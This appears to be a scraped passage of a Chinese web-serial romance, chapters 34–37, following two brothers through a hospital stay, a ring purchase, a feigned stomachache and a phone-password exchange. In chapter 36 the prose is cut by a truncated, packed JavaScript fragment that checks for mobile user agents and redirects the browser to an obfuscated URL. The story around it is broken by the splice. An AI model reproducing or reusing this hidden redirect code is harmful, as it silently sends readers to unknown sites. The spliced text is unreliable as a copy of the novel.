黛燃一离开,黛烬魂儿都像是被勾走了似的,脚下没注意,还没走两步,就正好踩在掉落在地的包装上。 “嘎吱——” 声音不大,却一下惊醒了睡得不安稳的黛水清,一道熟悉的女声从身后传来。 “小黛?” 黛烬瞬间回头,见黛水清已经醒了,他忙将水壶随手搁置,小跑过去。 “妈你醒了,感觉怎么样?” 黛水清许久滴水未进,嗓子有点哑,但脱口就是安慰。 “妈没事。” 黛烬顺手打开灯,黛水清有机会看清四周,却越看越吃惊。 “这是哪儿啊?怎么住这么大的病房,这得花多少钱啊?” 黛烬帮着他妈把病床摇起来。 “没多少钱,但这次能转院,还得多亏了燃燃,他一会儿回来,妈你别为难他。” 黛水清还是第一次从儿子口中听到这个名字。 “ranran?是哪个ran啊?” 黛烬从医院准备好的果盘里拿了个苹果,握着小刀慢慢削着皮。 “火字旁,燃烧的燃。” 黛水清这才了然,点点头。 “原来是燃燃,是你哪个朋友吗?” 听到“朋友”两个字,黛烬心一颤手一抖,连着削的苹果皮忽然断了,果皮正好落进下方的垃圾桶里。 他愣了下,没解释,而是将小刀抵在削到一半的苹果上重头开始。 黛水清没想到这么简单的问题,居然会把自己一向口齿伶俐的儿子问住,但也没为难,主动扯开话题。 “人家帮了我们这么大的忙,我怎么会为难?妈是这样不讲理的人吗?” 黛烬正好把苹果削完,将刀洗干净收好,才把削了皮的苹果递到他妈手里。 “那就行,别的妈你就别担心了,吃个苹果,我先去接点水,一会儿回来。” 黛水清还懵懵的,接过苹果,目送黛烬拿着水壶离开病房,慌慌张张的,不知道的还以为有人在后面拿着刀追。 她还是有点不适应待在这种地方,感觉多呼吸一口空气都得多交一份钱。 但手里还有儿子给的苹果,不能浪费。 她正准备咬,门就又被人从外面推开了。戴水清闻声看去,一个身着蓝色冲锋衣的男孩就措不及防地出现在视线里。 说是男孩,是因为来人看着也就约莫十七八岁的样子,年纪不大,气质却是人群里拔尖的出众,哪怕遮住脸,也完全遮不住通体的贵气。 不急不躁,姿态闲适舒展,是黛水清眼里最适合出现在这种高档场所的人。 想着儿子刚才交代过的事情,她大概猜到了眼前男孩的身份。 黛水清紧张地咽了咽口水,才试着和来人打招呼。 “你就是燃燃吧?” * 黛烬拿着水壶独自往水房走。 他对这里不熟悉,但好在黛燃刚给他带过路,他记性还行,找起水房来也算得心应手。 这会儿水房人不多,除了他,只有一个男人正在他前面接水,后面没人排队。 黛烬没有观察别人的习惯,但他鼻子还挺灵,刚进水房就闻到了一股浅淡的盐水味,大概是模拟了海浪的味道,尾调甚至有种海滩边独有的湿沙味。 不知道是什么香水。 还挺好闻。 他没多看,到水池旁把新水壶洗干净,回来的时候前面的人已经走了,正好轮到他接水。 这里的水都是自费,黛烬熟练地拿手机扫出水机器上的二维码,一步步核验身份和信誉值,还没等他支付,门外却忽然传来一阵嘈杂声。 黛烬下意识出了水房往外探头,正好看见有两人在门外说话。 一个身着统一制服,看打扮应该是医院的,另一个他倒不认识,只是看打扮莫名觉得眼熟。 在走廊上吵起来,应该是遇到麻烦了,黛烬边往两人身边走边听,正好听到制服男人说话。 “你身份卡上写了是一楼的病人家属,是不能上三楼来的,我找了你一圈才找到这里,而且你要先去缴费,你没有挂靠,在我院都是需要交保证金的,不然出了问题谁负责?” 黛烬正好走到两人身边,刚一走近,他才认出和制服男人对话的人是谁。 刚才水房里的人。 他当时没看脸,这会儿靠这股熟悉的香水气味瞬间将人认出来,看长相,年纪大概在二十出头,比黛燃都大不出几岁。 年轻人打扮得朴素,面上难掩羞愧,连连弯腰道歉。 “不好意思不好意思,我第一次来这边,对位置不熟悉,看三楼有水房我就用了,我家里人住院,我一个人有点忙不过来,保证金我马上会找地方交的,实在不好意思抱歉给您添麻烦了。” 年轻人的年轻,大概是其唯一能胜出的资本,但很多东西是大部分年轻人无法奢望的,譬如经验、阅历、资本…… 黛烬看得一言不发,像是在照镜子。 制服男人却不管这些,咄咄逼人。 “半个小时前我就和你说了要办的手续,内网查了到现在你还没预约排上队,你知道我因为你耽误了多少事情吗?” 年轻人将手里的报告单,水壶,各种刚准备好的零散生活物品摆地摊似的随手放在地上,匆忙将手机拿出来。 “那个预约我是排了号的,您说完我就马上去排了,但是不知道为什么被挤掉了一次,我以为是有什么问题,怕有影响就打算过一会儿再去试一次,您当时不是说不急,今天办了就可以吗——” 制服男人不耐烦地打断。 “挤掉了你再试一次不就行了吗?这么简单的事情还要我教你?而且接待台固定就在一楼,我哪知道来看病的是什么人?早说你这都不会我直接找人带你去办不就行了吗?当时问你你还说你会,我还真信了,结果惹出来这么多事情。还‘不急’?连句客套话都听不出来吗?” 男人越说越上头,见附近没人,说话愈发不顾忌。 “我就说不想接你们这些外面来的病人,最基本的东西都得我浪费时间挨个教,做你们的生意还能走报销,钱挣不到,事情还多——” 黛烬终于懂了那句“有人看乐子,有人照镜子”的后半句是什么感受,实在听不下去,忍不住出声打断。 “行了。” 制服男人见有人帮着说话,不确定黛烬的身份,说话一下收敛起来。 黛烬也不是什么热心的大善人,没空帮别人断官司争对错,别人的因果他不想参与,伸手就问年轻人要手机。 “你还有哪些手续没办?我帮你吧。” 年轻人像是遇到救星,忙把手机双手递过去。 黛烬刚被黛燃教了一遍流程,对这些程序都有了解,几分钟就帮年轻人处理了让他焦头烂额很久的事情。 制服男人一见事情解决,怕被找麻烦,借口称还有工作要忙一转眼就溜了。 年轻人还在发呆,黛烬将手机递 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还好黛烬看黛燃看得仔细,这才松了口气,一转眼,刚才还在对面的年轻人此时已经不见踪影。 ?! 人呢?! 黛烬低头,地上的杂物也在不知不觉中被年轻人收拾好带走,他惊讶地下意识左右环顾,想看看这人怎么跑这么快。 还没看出个所以然来,黛燃和他牵着的手就忽然松了。 一转头,黛燃不知道什么时候红了眼眶,说话也委屈得不行。 “哥,你还看他。” ?!!!!!! 握草我弟弟哭了怎么办?! 黛烬急得像热锅上的蚂蚁,只知道一个劲地给人抹眼泪。 “诶呦哭什么?” 黛燃不说话,掉下来的眼泪多得收集起来简直能给苹果树浇水了。 黛烬这下也不管三七二十一,管他对的错的,先低头认错再说。 “是哥错了错了,哥哪里做的不好燃燃告诉哥哥好不好?” 黛燃一连吸了几口气,说话时细看唇角都是发着抖的。 “哥,为什么不能只喜欢我一个人?” 黛烬急了。 “没有不喜欢我们燃燃啊,燃燃这么好,哥最喜欢我们燃燃了。” 黛燃更急。 “不要,不要最喜欢,为什么不能只喜欢我?只喜欢我一个人,也不对别人好,不让别人和我抢。” 黛烬愣住,声音里是自己都没意识到的迟疑。 “那哥,会变得不好吧?” 黛燃忽然没理了,又气又急,没理就开始蛮不讲理起来。 “不好,不好就不好,哥对我好就行了,只喜欢我,我也知道哥的好,只喜欢哥,这样,这样——” 黛烬把黛燃没说完的话补上。 “这样燃燃就高兴了吗?” 黛燃瞬间哑火,刚才情绪上头了,现在才慢半拍意识到自己在说什么,怕黛烬生气,他急忙为自己找补。 “不是,哥不能为了我变成不喜欢的样子,我,我就是——” 黛烬收起所有玩闹时才会有的表情,语气无比郑重,神情格外严肃。 “燃燃,我只是问如果我只喜欢你一个人,你就高兴了吗?” 黛燃不敢说话了,不知道说什么是对的,就什么都不敢说,但黛烬说的话又实在太有诱惑力,他嘴上不敢承认,却趁黛烬不注意把头点了又点。 黛烬看得心里发酸,把偷偷点头的弟弟揽过来抱在怀里。 网上说两个人亲得多了,长相都会越来越像,黛烬对这个观点不置可否。 他忍不住在心里想,那两个身高差不多,长相又相近的人面对面站在一起,岂不是和照镜子没什么区别? 那就当他是黛燃的镜子吧。 他只希望这面镜子照出来的黛燃能过上他想要的日子,哪怕年轻也能不受生活磋磨,能时时刻刻都幸福高兴。 哪怕让他变得不好也没关系,让他这块镜子碎掉也没关系。 “那哥,就做让燃燃高兴的人。” 35. 【燃】胆子 一切恐惧都来源于火力不足。 哪怕嘴上说要永远和哥在一起,说要哥只属于自己,说不让哥喜欢上别人,但那也只是嘴上说说而已。 只有黛燃自己心里知道。 他没这个胆子。 外界的任何一点风吹草动,都足矣把带着占有欲和控制的爱吓破胆。 可是黛烬现在这样说了,那再胆小的人,都有资格在这份溺爱中大胆起来。 黛燃干了坏事反而没被批评,本就旺盛的野心,这下直接被拔苗助长般滋补起来,少了顾忌,他抱住黛烬的手更紧。 “哥答应了,可不能反悔。” 大数学家黛烬又在算数。 “哥说到做到。” 黛燃得了便宜,就又顺着黛烬这根杆子想继续往上爬。 “哥,你送我戒指好不好?” 他还是有点不信,所以得要个证明。 “怎么忽然说这个?” 黛燃不解释,只说要求。 “我想要。” 他抬起埋在黛烬肩窝的脸,看着他哥的眼睛说话。 “哥没打算和我过一辈子吗?” 他哥的右眼皮忽然跳了一下。 左眼跳财,右眼…… “燃燃是觉得买了戒指,就可以代表我愿意和燃燃过一辈子吗?” 黛燃还沉浸在他哥的右眼皮跳了一下这个坏消息里,本来在笑的唇角倏忽拉下,被他哥问得一愣,慢半拍地应下来。 “嗯。” 右眼皮跳,肯定是他哥没睡好…… “那哥给你买。” 黛燃猛地抬头! 他前面根本没胆子正视“过一辈子”这个问题,他怕得不到想要的答案,就强迫自己转移注意力到其他事情上。 现在得到想要的结果后,他终于舍得把自己从“眼皮跳”这个再小不过的细节中抽离出来,心满意足。 黛燃重新扬起笑脸。 “谢谢哥。” * “谢谢哥。” 黛燃越看越喜欢。 “我喜欢这个!” 店员还是想推销一下其他更赚钱的款式,黛燃戴着素圈找优点,店员盯着戒圈找缺点,一场无声的战斗号角吹响。 但这场比赛是不公平的,显然是店员占了先天优势。 黛燃掌心里捧着戒指,店员看准黛燃发红的掌心蓦地眼前一亮,抓准戒圈的致命缺点给予致命一击。 “先生,您好像对这个材质过敏,要不还是换一款试试看呢?经常戴的东西,多选一选肯定是没错的。” 黛燃当然知道自己过敏,但他没放下戒指,闻言反而又作势要收紧手掌,生怕有人和他抢,摇头又摇头。 “我不要其他的,你刚才不是说这款以后不会进了吗?那我就要这个,我喜欢没人买的。” 店员搬起石头砸自己的脚,很是后悔多了这个嘴。 他说这个本来是想证明这款不好卖,好给黛燃留下不好的印象,进而选择其他更赚钱的款式,谁承想事与愿违。 可他说的也是事实,没有撒谎。 他们店不大,放不了那么多存货,因此每款戒指在卖出去之前,涵盖展示品在内,他们都只能拿到一枚余量。 并非是因为戒指珍贵,而是将这枚戒指作为样品先在店内展示,有人喜欢是需要先预定,他们才能向上级门店取货的。 每一款店里都有进货记录,什么款式卖得好他们一清二楚。 而黛燃手上拿着的这款,他们店开店以来一次都没卖出去过。 店员愣在原地,百思不得其解。 身边的同事用胳膊肘戳了戳愣神的店员,在他耳边压低声音戏谑。 “诶我说,这枚是不是就是上次月底开总结会的时候,被店长批评说又没卖出去的那一款?” “嗯。” 同事确认消息无误,这才终于展露笑容,他不着痕迹地打量起等在黛燃身边的黛烬,话里透着浓浓的不怀好意。 “那看来是我们错怪店长了,当时还以为是店长不小心把自己不戴的闲置丢里面卖呢,没想到还真有‘识货’的。” 被戳了店员当然知道这个“识货”用在这里,不可能是褒义的夸奖。 可东西是他卖的,虽然赚不到多少钱,但也不能被别人看了笑话去。 他丢不起这个人。 店员收回自己准备推销的热销款,小心专业地收好在展示柜里,又蹲下身从台下拿了一套送给客户的赠礼套盒。 套盒是店里统一发的,每人每月只能拿到一份,虽不是什么价值特别高的东西,却是店员能送人的最高规格了。 送套盒说好听点,是给顾客提供更好的消费体验,说难听点,其实就是店里区别对待,给花了更多钱的客户牌面。 大家都是默认给消费更多的客户送,店员拿套盒的动作多少还是带着点迟疑。 其实他也不例外。 能做到店里销冠这个位置,靠的可不是做菩萨大发善心,在送礼这一点上,他甚至比其他同事更“吝啬”。 上次有个客人大包小包地在他这买了三四款首饰,提成足足有三百,但他都没舍得把这份套盒送出去。 他总觉得会遇到更好的,更大方的客人,到时候好送出去留个好印象,方便人下次还来消费,好维系自己的业绩。 他们干销售的,自然有一双识人的慧眼,看出谁更值得他们维护都是基本功。 穿着朴素,扫一眼全身打扮不超过五百块的黛烬很显然不是他们的目标客群,同事当然不想放过这个奚落他的机会。 “这好东西你要拿来送他啊?你想业绩想疯了吧?他刚进来我都没理,你上赶着去就算了,现在还上赶着倒贴?” 店员不想理会,闻言拿套盒的动作反而莫名安定许多。 人活一口气,他知道争这个面子没用,但他想争就争,同事觉得他看错人,他就偏要做点什么来证明自己的眼光。 他将套盒拿出来,稳稳地放在展示柜上,冷脸向同事譬去一眼。 “你管的太多了,而且你怎么知道他不能做我的回头客?只敢挑出手大方的客户维护关系,胆子未免太小了。” 同事嗤笑一声。 “你小说看多了做梦呢?送他?这种穷鬼不可能给你当回头客的,别说回头客了,这次能消费都难,这点看人的本事都没有,你十几年销售白干。” 店员没说话。 但下一秒,黛烬果然如同事所说般行动,皱着眉把黛燃捧在手里的戒圈拿走。 “燃燃,咱们换一款吧,这个不好。” 同事见自己说的话应验飞快,不免得意,又继续补刀。 “借口还不少,这种人我见多了,一会儿说这个不好,一会儿说那个不行,说白了,到最后人家不买就好了~” 店员握着套盒提绳的手紧了紧,有点担心这单生意要黄。 可还没等他失落,令从业十几年的两人都意外的事情就毫无预兆地发生了。 黛烬托起黛燃接触过戒圈的手,心疼地放在唇边轻轻吹了吹。 “燃燃,你对这个材质过敏啊,哥给你买个更好的,咱不要这个,好不好?” 黛燃还没想好借口摇头,黛烬就直接把话摊开来说。 “不要给哥省钱,哥赚钱就是给你花的,现在是,以后的钱更是。” 要给黛燃的东西,黛烬不仅规划得远,做起来更是大胆。 “本来想等以后赚了钱再说,但燃燃现在想要戒指,哥可以加钱给你买个更好的,不要委屈自己。” 黛燃这次想都没想就摇头,拿回自己选的戒指,毫不犹豫地戴在了左手无名指上,迫不及待地和黛烬展示。 “不要,虽然我确实对这种银过敏,但是哥你看,我戴在手上是没关系的,我的手指不会过敏。” 黛烬明显不信,但还是尊重黛燃说的话,把戴了戒指的左手握着仔细看了看。 他越看越惊讶,没想到黛燃真不是在撒谎,他把戴好的戒指取下又戴上,确实没见到指根处有出现过敏迹象。 他全程看得仔细,黛燃刚把戒指从店员手里拿过来放到掌心,接触过戒指的掌心皮肤便立马红了一小片。 很典型的过敏症状。 但黛燃现在把戒指戴在指根处,又确实安然无恙。 这下黛烬也百思不得其解了,竟然有人过敏还挑地方? 黛燃没解释,抿唇笑笑,忙转身看向正拿着套盒发呆的店员。 “麻烦给我们结账吧。” 他说着就要拿手机调收款码 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“切,装得还挺像,买得起吗还下次?装大款装上瘾了。” 店员当没听见,将胸前的按动笔拿下来,按照黛烬所说,给小票后写下了自己的电话和姓名,然后把小票重新推到黛烬面前。 “您下次来可以直接报我名字,我给您申请回头客折扣。” 黛烬道谢,把小票写了字的一面对内折好,收进口袋后就拉着黛燃出了店门。 同事见黛烬二人离开,终于从店员身后走出来,倚在墙边,说话更肆无忌惮。 “下次来了净找你麻烦,到时候不花钱还要你服务就好玩了。” 大概是觉得自己说的情况好笑,他没忍住笑出声,笑得直弯腰,却还堵不住讽刺别人的声音。 “说不定啊,还没过几天,人家就拿着小票来找你无理由退款~” 店员没理会,而是把那个原来装着戒指的空展示盒收回台下。 其实店里的一般款式都是不能立即取货的,但这一枚店长交代过以后不会再进了,所以可以直接拿走。 他收拾好面前的展示柜,才直起身看向已经并肩走远的两个背影。 “少把眼睛盯在别人身上,至少我这单多少能提十五,比你只会打嘴炮强。” 黛烬被蛐蛐惯了,属于是债多不压身,完全不当回事。 他不习惯在别人面前“秀恩爱”,可能是胆子小,他还是害怕被笑,直到出了店门才敢和黛燃腻歪。 见黛燃低头把戒指看了又看,他忍不住打趣。 “燃燃是不是很少戴戒指?” “为什么这么问?” “因为你位置戴错了。” 黛烬说着,把戒指从黛燃指根处小心地取下来,换到左手中指重新戴好。 “已婚才戴无名指,现在戴这里就好。” 黛燃没阻止,笑着看他哥给他戴好戒指,这才重新和黛烬十指紧扣,然后把戴在无名指上的戒指又举在面前看看。 心里紧紧悬着一根弦,嘴上对他哥说出的却依然是夸奖。 “戴在这里也好看,哥审美真好。” 黛烬实在没忍住笑。 “你没东西夸了?这话都说出来了。” 黛燃也笑,他把手放下来,牵着他哥走,边走还不忘边盯着他哥的侧脸看,看着看着,他猝不及防地勾住黛烬的脖颈,在他哥脸上亲了一口。 他哥被亲的一愣,还没等反应过来,他就顺势凑近在黛烬耳边说了想说的话。 “我没戴错,戴在无名指,是因为想和哥结婚。” 临家自己就有做高端珠宝的子公司,常年做进出口贸易,名声说出去响当当,他怎么可能会不知道戒指戴法这种常识? 他故意那么戴的。 但他哥给他换回去了,是没看懂他的意思吗…… 黛燃说完微微撤身,重新看向黛烬的脸,四目相对,心上悬着一根弦一般的细绳,难免紧张。 但他的胆子,是被他哥一点一点亲手喂大的。 黛燃问得深情又认真,尽量控制自己不要紧张到磕巴。 既然他哥没听懂,那他就再问一遍。 “哥呢?愿意和我结婚吗?” 36. 【烬】撒谎 黛烬右眼皮又一跳,闻言不禁恍惚片刻,他什么都没说,而是毫无预兆地眉头一皱,接着面带痛苦地弯下腰捂住小腹。 黛燃果然如他所料般,立刻被转移了注意力,也不再追问结婚和未来,而是慌张地伸手在他身上乱摸。 “哥你怎么样?是哪里不舒服吗?” 黛烬终于不再对黛燃的问题保持缄默,可是他也不知道,沉默和撒谎,究竟哪一个更好? 反正不能说真话。 因为他们两个人,没人能为“想结婚”这句真话负责。 他只能选择撒谎。 “燃燃,我胃有点不舒服,我们去药店吧。” “胃不舒服,那不应该去医院吗?” 黛烬神色有点不自然,但黛燃慌得厉害,没注意到这一闪而过的破绽,黛烬便继续违心地撒谎。 “老毛病了,买点药就行。” * “先生您看这个可以吗?” 胃病对于已经上班的成年人来说,就和感冒一样属于是家常便饭,黛烬还是认得那几个熟悉的药名的。 他点点头接过收银递来的胃药。 “谢谢。” 但从小养尊处优、连吃饭都有营养师照看、身体健康到能给体检表打满分的黛燃,很显然就没这个经验了。 “不再拿点别的吗?” 黛烬怕拿多了容易露馅,果断摇头拒绝。 “没事,这个就行。” 他撒起谎来破绽百出,但开弓没有回头箭,事已至此,他只能硬着头皮继续往下骗。 “燃燃,你能去对面的店里帮哥买瓶热水吗?” 黛燃像是没想到黛烬还有和他提要求到时候,忙答应下来狂奔出门。 “好,哥你在这等着我,我马上回来。” 黛燃一走,黛烬立马直起身,伪装出来的虚弱一扫而光,他把价签都没撕,还没开封的胃药递回给药店的收银员。 “这个不要了,麻烦帮我换成过敏药吧。” 收银上下打量了黛烬,满脸疑惑。 “先生您没事儿啊?” 黛烬摸摸鼻子。 “没事儿,哦对,这事儿您能帮我保密吗?别让我弟弟知道了。” “啊,好的。” “谢谢,还是麻烦您给我找一下过敏药吧,麻烦了。” 收银也被黛烬这一出搞得丈二和尚摸不着头脑,但还是没多问,接过胃药放回展示架,走向摆着过敏药的药架。 这家店不大,正是中午,在店里值班的只有一个人,收银便一人身兼多职,收钱又拿药。 他问话的声音不大,但他走哪儿黛烬就跟到哪儿,所以能听得清。 “先生是对什么过敏呢?” “饰品吧,不知道是什么银,但是摸到就红了。” 收银很快按需找来几款过敏药,摆在黛烬面前的透明柜上。 “这几款您可以看一下。” 黛烬自己倒是没有过敏史,身体出奇得抗造,看不出几款过敏药有什么区别,只得暂时作罢,打算等黛燃回来了再说。 “那先等一下,马上我问问他能用哪种。” 说曹操曹操就到。 黛燃火急火燎地推门进店,手里拿着刚买的保温杯,另一手还提着打包好的热粥,大概是一路小跑来的,气喘吁吁。 “哥,我没带杯子,现去买了一个,我也不知道胃药是饭前还是饭后吃比较好,但是你忙了一上午还没吃东西,我买了粥,你先吃这个垫垫吧。” 愧疚。 一人吃饱全家不饿的黛烬已经很久没有这种情绪了。 但是今天短短半天内,他愧疚完他妈,就又马不停蹄地愧疚起黛燃来,后者的愧疚程度甚至并不比前者少多少。 他不敢看黛燃,而是伸手去接黛燃手里的东西,想通过减少黛燃受累的办法,多少减轻一些自己撒谎的愧疚感。 保温杯和粥都被黛烬安置在桌上摆好,他这才拉过黛燃空荡荡的手,将人拉到摆着过敏药的柜台前。 “燃燃看看,平常用的是哪一款过敏药?” 黛燃被这莫名其妙的一串动作弄蒙了,脑子晕乎乎的,还想着他哥生病的事情。 “哥,你不先吃药吗?” 黛烬的动作不易察觉地僵硬几分。 “哥没事,药,你刚出去的时候我已经吃过了,胃已经不疼了。” 黛燃没忍住发出质疑。 “真的啊?” 黛烬又咽口水。 “真的,你看哥现在状态不是挺好的吗?” 这话倒没撒谎。 因为他本来就没犯病。 黛燃眼见为实,终于点点头放过黛烬,将视线转向面前摆着的几盒过敏药。 里面确实有他以前经常用的牌子。 但黛燃不仅没高兴,反而表现得更加犹豫。 “哥,我现在已经没事了,一会儿就能好,不用破费的。” 黛烬一眼看出问题所在,他虽然没过敏过,但这是黛燃从前用的东西,价格肯定不便宜。 他没把话说明,而是直接走近把几盒牌子不一的过敏药拿起来,大大小小,一盒叠一盒,作势要全部拿走。 “燃燃不说要哪个的话,哥就只能全部买下来了。” 这下黛燃也不拒绝了,马上上前从黛烬手里的几盒药里选出一盒。 “就要这个,我以前就用这个的,可以用的,不用买这么多。” 黛烬这才点头,拿着药去付钱。 他不擅长撒谎,全程都不敢尝试解释自己的行事逻辑,哪怕自己的行为在黛燃看来再诡异,他也不敢多做解释。 要是被黛燃抓住机会问他原因,然后再拔出萝卜带出泥,把他撒的谎全都抖搂出来就完了…… 和收银结了账,他才牵着还在身后愣神的黛燃出了药店。 黛烬把小小一盒没什么重量的过敏药塞进黛燃手里,自己则去拿有重量的杯子和粥,两人都默契地只用一只手拿东西,确保彼此都能有空出来的手可以牵。 这里离他妈住院的私立医院不远,外面不方便,他就把人带回医院的一楼等候室。 私立医院每间病房都配备专门的陪护,他妈状态已经稳定,又有人陪护,他这才敢带着黛燃出来买戒指。 等候室也有单间,他习惯性挑了第三间进去,拉着黛燃让人在椅子上坐下。 黛燃一路都没说话,让他拿药就拿药,说拉走就拉走,说坐下就坐下,可他表现得越乖,黛烬心里的愧疚就更重。 黛烬把过敏药膏拆出来,半蹲在黛燃面前拧药盖子。 “手伸出来我看看。” 黛燃下意识蜷缩了左手,黛烬也不催,而是盯着黛燃攥成拳的左手不说话,直到黛燃想通,才把手张开伸到他面前。 掌心的红不仅没有消下去,反而愈演愈烈,由红到肿,糟糕的情况和黛燃说的“已经没事了”相去甚远。 黛燃也在撒谎,却比他撒得好。 黛烬没批评,而是给黛燃因为过敏而红肿起来的掌心吹了几口气。 这一刻他是真的很希望自己是什么神仙,吹口气就能让黛燃好起来。 可他不是。 药膏被黛烬小心地挤出来,先抹到自己指腹上,再小心地涂到黛燃掌心。 黛烬涂得仔细,期间视线又忍不住往黛燃戴了戒指的中指看去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531642|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >黛燃的手指确实没有过敏,掌心过敏反应这么大,手指却像是和掌心没长在同一个人手上似的,完全置身事外。 两人默契地沉默了一路,黛烬这会儿才主动抛话头出来。 “你这过敏还挺神奇,居然还挑地方。” 黛燃终于找到机会说话,犹豫着要不要解释,最后还是说了。 “我以前过敏,但是家里当时拓展了珠宝生意,有家线下门店主营的品类就是戒指,妈妈把我派去学习。” 黛烬对黛燃的过去还是很上心的,边听边涂药,涂完一只手又指挥着黛燃换手。 “换一只手。” 黛燃本来撒谎说自己没事,现在谎言被黛烬戳破,他自知理亏,怕他哥生气,只得悄悄用余光试探着瞥黛烬。 他不知道要不要继续说,就干脆闭了嘴,听黛烬的话换手。 黛烬又挤出一点药膏抹上去,主动把黛燃的话接上。 “妈妈派你去学习,然后呢?” 看黛烬没生气,黛燃这下终于可以光明正大地抬头看黛烬,看看,然后又低下头继续说。 “但是我过敏的材质太多了,为了不给别人添麻烦,还要完成妈妈交代的事情,接触多了,后面就慢慢练出来了……” 黛烬问得理所应当。 “但是你过敏,为什么还要派你去做这个?” 黛燃也说得理所应当。 “我过敏这个事情,其实家里没几个人知道,大家……都挺忙的。” 黛烬涂药的手倏忽一顿。 他抬眼看了眼黛燃,发现黛燃也在看他,面上看不出什么,看起来没觉得有什么不对,仿佛说的事情再正常不过。 黛烬自己心里却翻江倒海,喉咙里像被人塞了一团沾了水的棉花,噎得他喘不过气,眼眶都被噎红了。 他咽了咽口水,试图把噎在喉咙里的情绪咽下去。 “所以……手指现在是脱敏了吗?” 黛燃点点头。 “嗯,但也只有手指不过敏了,其他都不行。” 黛烬闻言,头低得比谁都快。 他迅速给黛燃抹好药,收起药膏,立刻背对着黛燃转过身,黛烬仰头快速眨眨眼睛,想把模糊了眼睛的泪水眨干。 但这很显然是无用功,眼泪止不住地往外冒。 眨眼的无用功便和撒谎一样,被黛烬做了一遍又一遍。 没办法,只要看到黛燃受苦,他就怎么都平静不下来。 他又一次意识到,黛燃只要和他在一起就会吃苦,在一起越久,黛燃就要吃苦越久。 不仅衣食住行要被迫降低标准,就连买个戒指和过敏药也要迁就他的经济。 凭什么呢? 这都是他一手造成的。 是他太贪心了。 贪心又自以为是。 贪心地想把黛燃这样好的人占为己有,也不看自己配不配得上,就又自以为是地觉得自己可以给黛燃最好的生活。 凭什么呢? 黛烬不转身,黛燃就只能把抹好药的两只手放在眼前展开,试探着握了握手,然后起身,站在黛烬身后问。 “哥,你真的没事吗?” 黛燃又有新的问题要问,可黛烬还沉浸在黛燃之前问的问题里出不来。 (哥呢?愿意和我结婚吗?) 黛烬依旧背对着黛燃,不敢转身。 撒谎是成年人进入社会的必修课,黛烬在社会摸爬滚打这几年,早就学会了这种社交必备技能,谎言轻易张口就来。 但无论是前一次还是这一次,他都用沉默躲过了黛燃的问题。 因为这两个问题他都不能回答。 他不想撒谎。 37.【燃】密码 黛燃的手机响了。 但他的手刚被他哥抹了药,手机又在口袋里不太好拿,一时两难。 还好他哥记得他。 他哥终于转过身,走近弯腰,帮他把手机从兜里拿出来,屏幕朝上自动亮屏,弹出六位数的解锁密码。 他哥的目光下意识被亮屏的手机吸引过去,还没等他哥说话,他就脱口而出解锁密码。 “330128。” 3.3是他的生日,而后面的1.28…… 他哥有点惊讶,或者其实用“受宠若惊”来形容更合适。 “我生日啊?” 他哥对他的付出总是表现为受宠若惊,他觉得这不好,他们不是情侣吗?这样也太生疏了…… 但他也没办法。 “嗯。” 他哥看着有点不好意思,视线飘来飘去都不知道要往哪看,然后支支吾吾的,习惯性地说点不痛不痒的话。 “你什么时候知道的?” 黛燃在这方面一向坦率。 “刚认识哥哥的时候。” 他哥不再说话,抿唇低头,帮他按下了解锁密码。 手机被递到眼前,他哥伸手给他捧着手机,又主动扭头别开视线看向外面,给他留出私人空间。 黛燃只需要用空出来的手指点点。 【随便随便】:燃燃,要开学了,我们组了个局,你有时间来吗? 【dr】:什么时候? 【随便随便】:过几天吧 【随便随便】:开学前一两天的样子 【随便随便】:你要来,到时候日子定了我提前给你发位置 他手机设有打字音,一按键盘就噼里啪啦地响。 【dr】:可能没什么时间,抱歉 【随便随便】:好吧 自从把通讯录删干净以后,除了朋友和哥哥,他就没什么需要联系的人了,不到三分钟就处理好了所有消息。 断断续续的打字音停了。 “哥,我好了。” 他哥没把头扭回来,而是收回他的手机,看不见,手指就顺着手机外圈摸到电源键按下,锁屏。 黛燃看得失笑,忍不住在心里想:看不见怎么知道他的秘密啊?想完又不由庆幸,还好锁屏不要密码。 “哥,你可以看我手机,没关系的。” 他哥说的话听起来总是很有道理,可能偷摸往里掺了点亲身经历。 “不用,小孩儿就不要私人空间吗?” 他哥不扭头,他就干脆走到他哥扭头看的方向,把平平无奇的门关上,然后自己取而代之,重新回到他哥的视线里。 “小孩儿要吧,但是燃燃不要。” 既然手机和哥哥都不转弯,那他转,先转弯,再主动往前走一步。 “密码哥现在知道了,想看就可以随时看,我的私人空间都可以给哥哥看。” 在他哥面前,他都是想到什么就说什么,想要说什么就说什么。 “哦对了,我的支付密码也是这个。” 他哥也往他的方向走了一步,把手机妥帖地放回他的口袋里。 “锁屏密码告诉我就成了,支付密码还敢告诉我,小心我晚上趁你睡觉,偷偷把你钱全都转走,让你也体验一把变成穷光蛋的日子。” 黛燃都没怎么考虑,但说的话却没有半点开玩笑的意思。 “哥用得上的话,请转走吧。” 他哥终于被重新逗笑,呵出一口气。 “有多少钱啊,给你小子狂成这样?” 狂?他有吗?但有多少钱这个问题黛燃试着想了想,发现自己居然也不知道。 “我不知道,反正需要用的时候都是有的。” 他哥又在对他疏离地啧啧称奇。 “黑卡就是不一样哈,真没额度的?” 有没有额度不知道,但至少黛燃没遇到过超额的时候。 “没有吧。而且卡的颜色很重要吗?我以为都是选自己喜欢的。” “那你喜欢黑色吗?” “我喜欢蓝色。” “……那你还选的黑卡。” “妈妈给我的,没选。” “我们燃燃这么乖啊。” 黛燃不理解,但像是小孩得到糖一样感到惊喜。 “给哥哥钱就可以算乖吗?这么简单。” 他哥主动打开门,应该是顾及着他掌心抹了药,便退而求其次地握住他的手腕,拉着他一起往外走。 “别人哥就管不着了,但是在哥这里,燃燃做什么都很乖。” 新的机会来了,他跟在他哥身后,下意识就想接一句:那想和哥哥结婚呢? 也算乖吗? 黛燃没问出来,他学会了不在他哥高兴的时候触霉头,而是在心里自问自答。 应该不算吧。 不然他哥也不会这么为难和不情愿,几次三番转移话题,想尽办法躲着他的问题和他们的未来不肯回答。 难得像是间谍在破译密码。 * 